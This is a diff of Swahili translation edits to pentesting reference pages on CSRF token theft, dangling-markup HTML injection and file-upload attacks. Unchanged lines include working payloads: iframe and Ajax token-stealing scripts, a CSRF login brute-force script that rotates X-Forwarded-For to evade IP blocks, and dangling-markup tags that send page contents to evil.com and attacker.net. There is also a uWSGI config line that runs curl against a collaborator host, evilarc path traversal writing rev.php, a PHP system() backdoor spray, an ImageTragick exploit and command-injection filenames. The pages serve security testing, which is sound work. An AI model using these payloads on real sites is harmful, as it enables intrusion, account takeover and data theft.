 | 
			
		||||
<body>
 | 
			
		||||
@ -505,7 +505,7 @@ document.forms[0].submit.click()
 | 
			
		||||
}
 | 
			
		||||
</script>
 | 
			
		||||
```
 | 
			
		||||
### **Iibi token na kuutuma kwa kutumia iframes 2**
 | 
			
		||||
### **Kuwaibia token na kuutuma kwa kutumia iframes 2**
 | 
			
		||||
```html
 | 
			
		||||
<script>
 | 
			
		||||
var token;
 | 
			
		||||
@ -535,7 +535,7 @@ height="600" width="800"></iframe>
 | 
			
		||||
<button type="submit">Submit</button>
 | 
			
		||||
</form>
 | 
			
		||||
```
 | 
			
		||||
### **POSTKiba CSRF token kwa Ajax na kutuma posti na fomu**
 | 
			
		||||
### **POSTKiba CSRF token na Ajax na tuma post na fomu**
 | 
			
		||||
```html
 | 
			
		||||
<body onload="getData()">
 | 
			
		||||
<form
 | 
			
		||||
@ -588,7 +588,7 @@ room: username,
 | 
			
		||||
```
 | 
			
		||||
## CSRF Login Brute Force
 | 
			
		||||
 | 
			
		||||
Msimbo unaweza kutumika kufanya Brut Force fomu ya kuingia kwa kutumia tokeni ya CSRF (Pia inatumia kichwa X-Forwarded-For kujaribu kupita uwezekano wa kuorodheshwa kwa IP):
 | 
			
		||||
Msimbo unaweza kutumika kufanya Brut Force fomu ya kuingia kwa kutumia tokeni ya CSRF (Pia inatumia kichwa cha X-Forwarded-For kujaribu kupita orodha ya IP iliyozuiwa):
 | 
			
		||||
```python
 | 
			
		||||
import request
 | 
			
		||||
import re
 | 
			
		||||
 | 
			
		||||
@ -4,16 +4,16 @@
 | 
			
		||||
 | 
			
		||||
## Resume
 | 
			
		||||
 | 
			
		||||
Teknik hii inaweza kutumika kutoa taarifa kutoka kwa mtumiaji wakati **HTML injection inapatikana**. Hii ni muhimu sana ikiwa **hupati njia yoyote ya kutumia** [**XSS** ](../xss-cross-site-scripting/)lakini unaweza **kuingiza baadhi ya vitambulisho vya HTML**.\
 | 
			
		||||
Teknik hii inaweza kutumika kutoa taarifa kutoka kwa mtumiaji wakati **HTML injection inapatikana**. Hii ni muhimu sana ikiwa **hupati njia yoyote ya kutumia** [**XSS** ](../xss-cross-site-scripting/index.html)lakini unaweza **kuingiza baadhi ya vitambulisho vya HTML**.\
 | 
			
		||||
Pia ni muhimu ikiwa **siri fulani imehifadhiwa kwa maandiko wazi** katika HTML na unataka **kuipatia** kutoka kwa mteja, au ikiwa unataka kupotosha utekelezaji wa script fulani.
 | 
			
		||||
 | 
			
		||||
Mbinu kadhaa zilizozungumziwa hapa zinaweza kutumika kupita baadhi ya [**Content Security Policy**](../content-security-policy-csp-bypass/) kwa kupeleka taarifa kwa njia zisizotarajiwa (vitambulisho vya html, CSS, vitambulisho vya http-meta, fomu, msingi...).
 | 
			
		||||
Mbinu kadhaa zilizozungumziwa hapa zinaweza kutumika kupita baadhi ya [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) kwa kupeleka taarifa kwa njia zisizotarajiwa (vitambulisho vya html, CSS, vitambulisho vya http-meta, fomu, msingi...).
 | 
			
		||||
 | 
			
		||||
## Main Applications
 | 
			
		||||
 | 
			
		||||
### Stealing clear text secrets
 | 
			
		||||
 | 
			
		||||
Ikiwa unatia `<img src='http://evil.com/log.cgi?` wakati ukurasa unapo load, mwathirika atakutumia msimbo wote kati ya vitambulisho vya `img` vilivyoingizwa na nukuu inayofuata ndani ya msimbo. Ikiwa siri fulani iko katika kipande hicho, utaiiba (unaweza kufanya kitu kile kile ukitumia nukuu mbili, angalia ni ipi inaweza kuwa ya kuvutia zaidi kutumia).
 | 
			
		||||
Ikiwa unafanya injection ya `<img src='http://evil.com/log.cgi?` wakati ukurasa unapo load, mwathirika atakutumia msimbo wote kati ya vitambulisho vya `img` vilivyoingizwa na nukuu inayofuata ndani ya msimbo. Ikiwa siri iko kwa namna fulani katika kipande hicho, utaiiba (unaweza kufanya kitu sawa ukitumia nukuu mbili, angalia ni ipi inaweza kuwa ya kuvutia zaidi kutumia).
 | 
			
		||||
 | 
			
		||||
Ikiwa vitambulisho vya `img` vinakatazwa (kwa sababu ya CSP kwa mfano) unaweza pia kutumia `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
 | 
			
		||||
```html
 | 
			
		||||
@ -32,7 +32,7 @@ Unaweza pia kutumia **`<table`**:
 | 
			
		||||
```html
 | 
			
		||||
<table background='//your-collaborator-id.burpcollaborator.net?'
 | 
			
		||||
```
 | 
			
		||||
Unaweza pia kuingiza tag ya `<base`. Taarifa zote zitatumwa hadi nukuu ifungwe lakini inahitaji mwingiliano wa mtumiaji (mtumiaji lazima abonyeze kwenye kiungo fulani, kwa sababu tag ya msingi itakuwa imebadilisha kikoa kinachotajwa na kiungo):
 | 
			
		||||
Unaweza pia kuingiza tag ya `<base`. Taarifa zote zitatumwa hadi nukuu ifungwe lakini inahitaji mwingiliano wa mtumiaji (mtumiaji lazima abonyeze kwenye kiungo fulani, kwa sababu tag ya base itakuwa imebadilisha kikoa kinachotajwa na kiungo):
 | 
			
		||||
```html
 | 
			
		||||
<base target='        <--- Injected
 | 
			
		||||
steal me'<b>test</b>
 | 
			
		||||
@ -41,7 +41,7 @@ steal me'<b>test</b>
 | 
			
		||||
```html
 | 
			
		||||
<base href="http://evil.com/" />
 | 
			
		||||
```
 | 
			
		||||
Kisha, fomu zinazotuma data kwenye njia (kama `<form action='update_profile.php'>`) zitatuma data hiyo kwenye eneo la hatari.
 | 
			
		||||
Kisha, fomu zinazotuma data kwenye njia (kama `<form action='update_profile.php'>`) zitatuma data hizo kwenye eneo la hatari.
 | 
			
		||||
 | 
			
		||||
### Kuiba fomu 2
 | 
			
		||||
 | 
			
		||||
@ -65,13 +65,13 @@ Kwa kutumia mbinu iliyotajwa hivi karibuni kuiba fomu (kuingiza kichwa kipya cha
 | 
			
		||||
```html
 | 
			
		||||
<input type='hidden' name='review_body' value="
 | 
			
		||||
```
 | 
			
		||||
na uwanja huu wa ingizo utaweka maudhui yote kati ya nukta zake mbili na nukta inayofuata katika HTML. Shambulio hili linachanganya "_**Kuhujumu siri za maandiko wazi**_" na "_**Kuhujumu fomu2**_".
 | 
			
		||||
na hii sehemu ya kuingiza itakuwa na maudhui yote kati ya nukta zake mbili na nukta inayofuata katika HTML. Shambulio hili linachanganya "_**Kuhujumu siri za maandiko wazi**_" na "_**Kuhujumu fomu2**_".
 | 
			
		||||
 | 
			
		||||
Unaweza kufanya kitu sawa kwa kuingiza fomu na tag `<option>`. Takwimu zote hadi `</option>` iliyofungwa itatumwa:
 | 
			
		||||
Unaweza kufanya kitu sawa kwa kuingiza fomu na tag `<option>`. Data yote hadi tag iliyofungwa `</option>` itakapopatikana itatumwa:
 | 
			
		||||
```html
 | 
			
		||||
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
 | 
			
		||||
```
 | 
			
		||||
### Form parameter injection
 | 
			
		||||
### Uingizaji wa vigezo vya fomu
 | 
			
		||||
 | 
			
		||||
Unaweza kubadilisha njia ya fomu na kuingiza thamani mpya ili hatua isiyotarajiwa ifanyike:
 | 
			
		||||
```html
 | 
			
		||||
@ -94,15 +94,15 @@ Njia ya kutoa maudhui ya ukurasa wa wavuti kutoka kwenye eneo la sindano hadi ch
 | 
			
		||||
```html
 | 
			
		||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
 | 
			
		||||
```
 | 
			
		||||
### Bypassing CSP with user interaction
 | 
			
		||||
### Kupita CSP kwa ushirikiano wa mtumiaji
 | 
			
		||||
 | 
			
		||||
From this [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) you can learn that even from the **most CSP restricted** environments you can still **exfiltrate data** with some **user interaction**. In this occasion we are going to use the payload:
 | 
			
		||||
Kutoka kwenye [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) unaweza kujifunza kwamba hata kutoka kwenye mazingira **yanayozuia CSP zaidi** bado unaweza **kuhamasisha data** kwa kutumia **ushirikiano wa mtumiaji**. Katika tukio hili tutatumia payload:
 | 
			
		||||
```html
 | 
			
		||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
 | 
			
		||||
<base target='
 | 
			
		||||
```
 | 
			
		||||
Kumbuka kwamba utaomba **mhasiriwa** **abofye kwenye kiungo** ambacho kitampeleka **payload** iliyo chini ya udhibiti wako. Pia kumbuka kwamba **`target`** sifa ndani ya **`base`** tag itakuwa na **maudhui ya HTML** hadi nukta moja inayofuata.\
 | 
			
		||||
Hii itafanya kwamba **thamani** ya **`window.name`** ikiwa kiungo kimebofywaji itakuwa maudhui yote hayo ya **HTML**. Hivyo, kwa kuwa unadhibiti ukurasa ambao mhasiriwa anafikia kwa kubofya kiungo, unaweza kufikia hiyo **`window.name`** na **kuhamasisha** data hiyo:
 | 
			
		||||
Kumbuka kwamba utaomba **mhasiriwa** **abofye kiungo** ambacho kitampeleka **payload** inayodhibitiwa na wewe. Pia kumbuka kwamba **`target`** sifa ndani ya **`base`** tag itakuwa na **maudhui ya HTML** hadi nukta moja inayofuata.\
 | 
			
		||||
Hii itafanya kwamba **thamani** ya **`window.name`** ikiwa kiungo kimebofywaji itakuwa yote hayo **maudhui ya HTML**. Hivyo, kwa kuwa unadhibiti ukurasa ambapo mhasiriwa anafikia kwa kubofya kiungo, unaweza kufikia hiyo **`window.name`** na **kuhamasisha** data hiyo:
 | 
			
		||||
```html
 | 
			
		||||
<script>
 | 
			
		||||
if(window.name) {
 | 
			
		||||
@ -132,7 +132,7 @@ AM_PUBLIC; ← Condition always evaluates to true ... }
 | 
			
		||||
```
 | 
			
		||||
### Abuse of JSONP
 | 
			
		||||
 | 
			
		||||
Ikiwa unapata kiolesura cha JSONP unaweza kuwa na uwezo wa kuita kazi yoyote na data yoyote:
 | 
			
		||||
Ikiwa unapata interface ya JSONP unaweza kuwa na uwezo wa kuita kazi yoyote na data yoyote:
 | 
			
		||||
```html
 | 
			
		||||
<script src='/editor/sharing.js'>:              ← Legitimate script
 | 
			
		||||
function set_sharing(public) {
 | 
			
		||||
@ -187,17 +187,17 @@ Hii inaweza **kuepukwa** kwa **CSP** kuhusu **http-equiv** ( `Content-Security-P
 | 
			
		||||
### New \<portal HTML tag
 | 
			
		||||
 | 
			
		||||
Unaweza kupata **utafiti wa kuvutia sana** kuhusu udhaifu unaoweza kutumika wa tag \<portal [hapa](https://research.securitum.com/security-analysis-of-portal-element/).\
 | 
			
		||||
Wakati wa kuandika hii unahitaji kuwezesha tag ya portal kwenye Chrome katika `chrome://flags/#enable-portals` au haitafanya kazi.
 | 
			
		||||
Wakati wa kuandika hii unahitaji kuwezesha tag portal kwenye Chrome katika `chrome://flags/#enable-portals` au haitafanya kazi.
 | 
			
		||||
```html
 | 
			
		||||
<portal src='https://attacker-server?
 | 
			
		||||
```
 | 
			
		||||
### HTML Leaks
 | 
			
		||||
 | 
			
		||||
Sio njia zote za kuvuja muunganisho katika HTML zitakuwa na manufaa kwa Dangling Markup, lakini wakati mwingine inaweza kusaidia. Angalia hapa: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
 | 
			
		||||
Sio njia zote za kuvuja muunganisho katika HTML zitakuwa na manufaa kwa Dangling Markup, lakini wakati mwingine zinaweza kusaidia. Angalia hapa: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
 | 
			
		||||
 | 
			
		||||
## SS-Leaks
 | 
			
		||||
 | 
			
		||||
Hii ni **mchanganyiko** kati ya **dangling markup na XS-Leaks**. Kutoka upande mmoja, udhaifu unaruhusu **kuingiza HTML** (lakini si JS) katika ukurasa wa **asilimia moja** ya ule tutakaoshambulia. Kwa upande mwingine hatutashambulia moja kwa moja ukurasa ambapo tunaweza kuingiza HTML, bali **ukurasa mwingine**.
 | 
			
		||||
Hii ni **mchanganyiko** kati ya **dangling markup na XS-Leaks**. Kutoka upande mmoja, udhaifu unaruhusu **kuingiza HTML** (lakini si JS) katika ukurasa wa **asilimia moja** ya ule tutakaoshambulia. Kutoka upande mwingine hatutashambulia moja kwa moja ukurasa ambapo tunaweza kuingiza HTML, bali **ukurasa mwingine**.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
ss-leaks.md
 | 
			
		||||
@ -205,7 +205,7 @@ ss-leaks.md
 | 
			
		||||
 | 
			
		||||
## XS-Search/XS-Leaks
 | 
			
		||||
 | 
			
		||||
XS-Search zimeelekezwa kwenye **kuondoa taarifa za cross-origin** kwa kutumia **shambulio la upande wa channel**. Hivyo, ni mbinu tofauti na Dangling Markup, hata hivyo, baadhi ya mbinu zinatumia ujumuishaji wa vitambulisho vya HTML (ikiwa na bila utekelezaji wa JS), kama [**CSS Injection**](../xs-search/index.html#css-injection) au [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading)**.**
 | 
			
		||||
XS-Search zimeelekezwa kwenye **kuondoa taarifa za cross-origin** kwa kutumia **shambulio la upande**. Hivyo, ni mbinu tofauti na Dangling Markup, hata hivyo, baadhi ya mbinu zinatumia ujumuishaji wa vitambulisho vya HTML (ikiwa na bila utekelezaji wa JS), kama [**CSS Injection**](../xs-search/index.html#css-injection) au [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading)**.**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../xs-search/
 | 
			
		||||
 | 
			
		||||
@ -51,7 +51,7 @@ Other useful extensions:
 | 
			
		||||
```
 | 
			
		||||
# Linux maximum 255 bytes
 | 
			
		||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
 | 
			
		||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
 | 
			
		||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
 | 
			
		||||
# Upload the file and check response how many characters it alllows. Let's say 236
 | 
			
		||||
python -c 'print "A" * 232'
 | 
			
		||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 | 
			
		||||
@ -126,9 +126,9 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 | 
			
		||||
; call a function returning a char *
 | 
			
		||||
characters = @(call://uwsgi_func)
 | 
			
		||||
```
 | 
			
		||||
Utekelezaji wa payload unafanyika wakati wa uchambuzi wa faili la usanidi. Ili usanidi uweze kuanzishwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya ajali au kutokana na shambulio la Denial of Service) au faili lazima iwekwe kwenye auto-reload. Kipengele cha auto-reload, ikiwa kimewezeshwa, kinarejesha faili kwa vipindi vilivyotajwa baada ya kugundua mabadiliko.
 | 
			
		||||
Utekelezaji wa payload unafanyika wakati wa kuchambua faili ya usanidi. Ili usanidi uweze kuanzishwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya ajali au kutokana na shambulio la Denial of Service) au faili lazima iwekwe kwenye auto-reload. Kipengele cha auto-reload, ikiwa kimewezeshwa, kinarejesha faili kwa vipindi vilivyotajwa wakati wa kugundua mabadiliko.
 | 
			
		||||
 | 
			
		||||
Ni muhimu kuelewa tabia ya kulegeza ya uchambuzi wa faili la usanidi la uWSGI. Kwa haswa, payload iliyozungumziwa inaweza kuingizwa kwenye faili la binary (kama picha au PDF), na hivyo kupanua wigo wa uwezekano wa unyakuzi.
 | 
			
		||||
Ni muhimu kuelewa tabia ya kulegeza ya uchambuzi wa faili ya usanidi wa uWSGI. Kwa haswa, payload iliyozungumziwa inaweza kuingizwa kwenye faili ya binary (kama picha au PDF), ikipanua zaidi wigo wa uwezekano wa unyakuzi.
 | 
			
		||||
 | 
			
		||||
## **wget File Upload/SSRF Trick**
 | 
			
		||||
 | 
			
		||||
@ -156,31 +156,31 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 | 
			
		||||
 | 
			
		||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 | 
			
		||||
```
 | 
			
		||||
Kumbuka kwamba **chaguo lingine** ambalo unaweza kufikiria ili kupita kipimo hiki ni kufanya **seva ya HTTP irejeleze kwenye faili tofauti**, hivyo URL ya awali itapita kipimo hicho na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa katika URL ya awali**.
 | 
			
		||||
Kumbuka kwamba **chaguo lingine** ambalo unaweza kufikiria ili kupita ukaguzi huu ni kufanya **seva ya HTTP irejeleze kwenye faili tofauti**, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**.
 | 
			
		||||
 | 
			
		||||
## Zana
 | 
			
		||||
 | 
			
		||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Wavuvi wa Makosa katika kupima mifumo ya kupakia faili. Inatumia mbinu mbalimbali za bug bounty ili kurahisisha mchakato wa kubaini na kutumia udhaifu, kuhakikisha tathmini kamili za programu za wavuti.
 | 
			
		||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Bug Hunters katika kujaribu mifumo ya kupakia faili. Inatumia mbinu mbalimbali za bug bounty ili kurahisisha mchakato wa kubaini na kutumia udhaifu, kuhakikisha tathmini kamili za programu za wavuti.
 | 
			
		||||
 | 
			
		||||
## Kutoka kwa Upakiaji wa Faili hadi Udhaifu Mwingine
 | 
			
		||||
 | 
			
		||||
- Weka **jina la faili** kuwa `../../../tmp/lol.png` na jaribu kufikia **path traversal**
 | 
			
		||||
- Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kufanikiwa kufikia **SQL injection**
 | 
			
		||||
- Weka **jina la faili** kuwa `<svg onload=alert(document.domain)>` ili kufikia XSS
 | 
			
		||||
- Weka **jina la faili** kuwa `; sleep 10;` ili kupima baadhi ya kuingilia amri (zaidi ya [mbinu za kuingilia amri hapa](../command-injection.md))
 | 
			
		||||
- Weka **jina la faili** kuwa `; sleep 10;` ili kujaribu baadhi ya kuingilia amri (zaidi ya [mbinu za kuingilia amri hapa](../command-injection.md))
 | 
			
		||||
- [**XSS** katika picha (svg) ya kupakia faili](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
 | 
			
		||||
- **JS** faili **kupakia** + **XSS** = [**Kunyakua Wafanyakazi wa Huduma**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
 | 
			
		||||
- [**XXE katika kupakia svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
 | 
			
		||||
- [**Open Redirect** kupitia kupakia faili la svg](../open-redirect.md#open-redirect-uploading-svg-files)
 | 
			
		||||
- Jaribu **payloads tofauti za svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
 | 
			
		||||
- [Udhaifu maarufu wa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
 | 
			
		||||
- Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**.
 | 
			
		||||
- [**XXE na CORS** kupita na PDF-Adobe kupakia](pdf-upload-xxe-and-cors-bypass.md)
 | 
			
		||||
- Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/index.html). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembeleaji**.
 | 
			
		||||
- [**XXE na CORS** kupita na PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
 | 
			
		||||
- PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo na mipaka kufuata maelekezo yaliyotolewa.
 | 
			
		||||
- Pakia maudhui ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuangalia ikiwa seva ina **antivirus**
 | 
			
		||||
- Angalia ikiwa kuna **kikomo cha ukubwa** unapopakia faili
 | 
			
		||||
- Angalia ikiwa kuna **kikomo cha saizi** katika kupakia faili
 | 
			
		||||
 | 
			
		||||
Hapa kuna orodha ya juu 10 ya mambo ambayo unaweza kufanikisha kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 | 
			
		||||
Hapa kuna orodha ya mambo 10 ambayo unaweza kufanikisha kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 | 
			
		||||
 | 
			
		||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
 | 
			
		||||
2. **SVG**: Stored XSS / SSRF / XXE
 | 
			
		||||
@ -208,11 +208,11 @@ Rejelea [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikip
 | 
			
		||||
 | 
			
		||||
### Zip/Tar Faili Zilizopakiwa Zitaondolewa Kiotomatiki
 | 
			
		||||
 | 
			
		||||
Ikiwa unaweza kupakia ZIP ambayo itachukuliwa ndani ya seva, unaweza kufanya mambo 2:
 | 
			
		||||
Ikiwa unaweza kupakia ZIP ambayo itakuaondolewa ndani ya seva, unaweza kufanya mambo 2:
 | 
			
		||||
 | 
			
		||||
#### Symlink
 | 
			
		||||
 | 
			
		||||
Pakia kiungo kinachojumuisha viungo laini kwa faili nyingine, kisha, kwa kufikia faili zilizochukuliwa utapata faili zilizounganishwa:
 | 
			
		||||
Pakia kiungo kinachokuwa na viungo vya laini kwa faili nyingine, kisha, kwa kufikia faili zilizondolewa utapata faili zilizounganishwa:
 | 
			
		||||
```
 | 
			
		||||
ln -s ../../../index.php symindex.txt
 | 
			
		||||
zip --symlinks test.zip symindex.txt
 | 
			
		||||
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
 | 
			
		||||
```
 | 
			
		||||
### Decompress in different folders
 | 
			
		||||
 | 
			
		||||
Uundaji wa faili zisizotarajiwa katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita saraka wa muundo wa ZIP unaweza kutumika. Hii inaruhusu washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa.
 | 
			
		||||
Uundaji wa faili zisizotarajiwa katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji wa programu inayolengwa.
 | 
			
		||||
 | 
			
		||||
Kiboko cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Chombo hiki kinaweza kutumika kama inavyoonyeshwa:
 | 
			
		||||
```python
 | 
			
		||||
@ -231,7 +231,7 @@ python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 | 
			
		||||
```
 | 
			
		||||
Zaidi ya hayo, **njia ya symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haitakutana na makosa wakati wa operesheni yake.
 | 
			
		||||
 | 
			
		||||
Hapa chini kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip lenye uharibifu:
 | 
			
		||||
Hapa chini kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip la uhalifu:
 | 
			
		||||
```python
 | 
			
		||||
#!/usr/bin/python
 | 
			
		||||
import zipfile
 | 
			
		||||
@ -249,7 +249,7 @@ zip.close()
 | 
			
		||||
 | 
			
		||||
create_zip()
 | 
			
		||||
```
 | 
			
		||||
**Kukandamiza compression kwa ajili ya file spraying**
 | 
			
		||||
**Kutatiza matumizi ya usindikaji wa faili kwa ajili ya kueneza faili**
 | 
			
		||||
 | 
			
		||||
Kwa maelezo zaidi **angalia chapisho la asili katika**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
 | 
			
		||||
 | 
			
		||||
@ -263,7 +263,7 @@ system($cmd);
 | 
			
		||||
}?>
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
2.  **File Spraying na Uundaji wa Faili Zilizoshinikizwa**: Faili nyingi zinaandaliwa na archive ya zip inakusanywa ikijumuisha faili hizi.
 | 
			
		||||
2.  **Kueneza Faili na Kuunda Faili Zilizoshinikizwa**: Faili nyingi zinaandaliwa na archive ya zip inakusanywa ikijumuisha faili hizi.
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
 | 
			
		||||
@ -280,7 +280,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
 | 
			
		||||
 | 
			
		||||
## ImageTragic
 | 
			
		||||
 | 
			
		||||
Pakia maudhui haya yenye kiambatisho cha picha ili kutumia udhaifu **(ImageMagick , 7.0.1-1)** (fanya kutoka kwa [exploit](https://www.exploit-db.com/exploits/39767))
 | 
			
		||||
Pakia maudhui haya yenye kiendelezi cha picha ili kutumia udhaifu **(ImageMagick , 7.0.1-1)** (fanya kutoka kwenye [exploit](https://www.exploit-db.com/exploits/39767))
 | 
			
		||||
```
 | 
			
		||||
push graphic-context
 | 
			
		||||
viewbox 0 0 640 480
 | 
			
		||||
@ -297,9 +297,9 @@ Taarifa zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
 | 
			
		||||
 | 
			
		||||
## Faili za Polyglot
 | 
			
		||||
 | 
			
		||||
Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleons ambazo zinaweza kuwepo kwa halali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), mchanganyiko unaofanya kazi kama GIF na archive ya RAR. Faili kama hizi hazijazuiliwa kwa mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia yanawezekana.
 | 
			
		||||
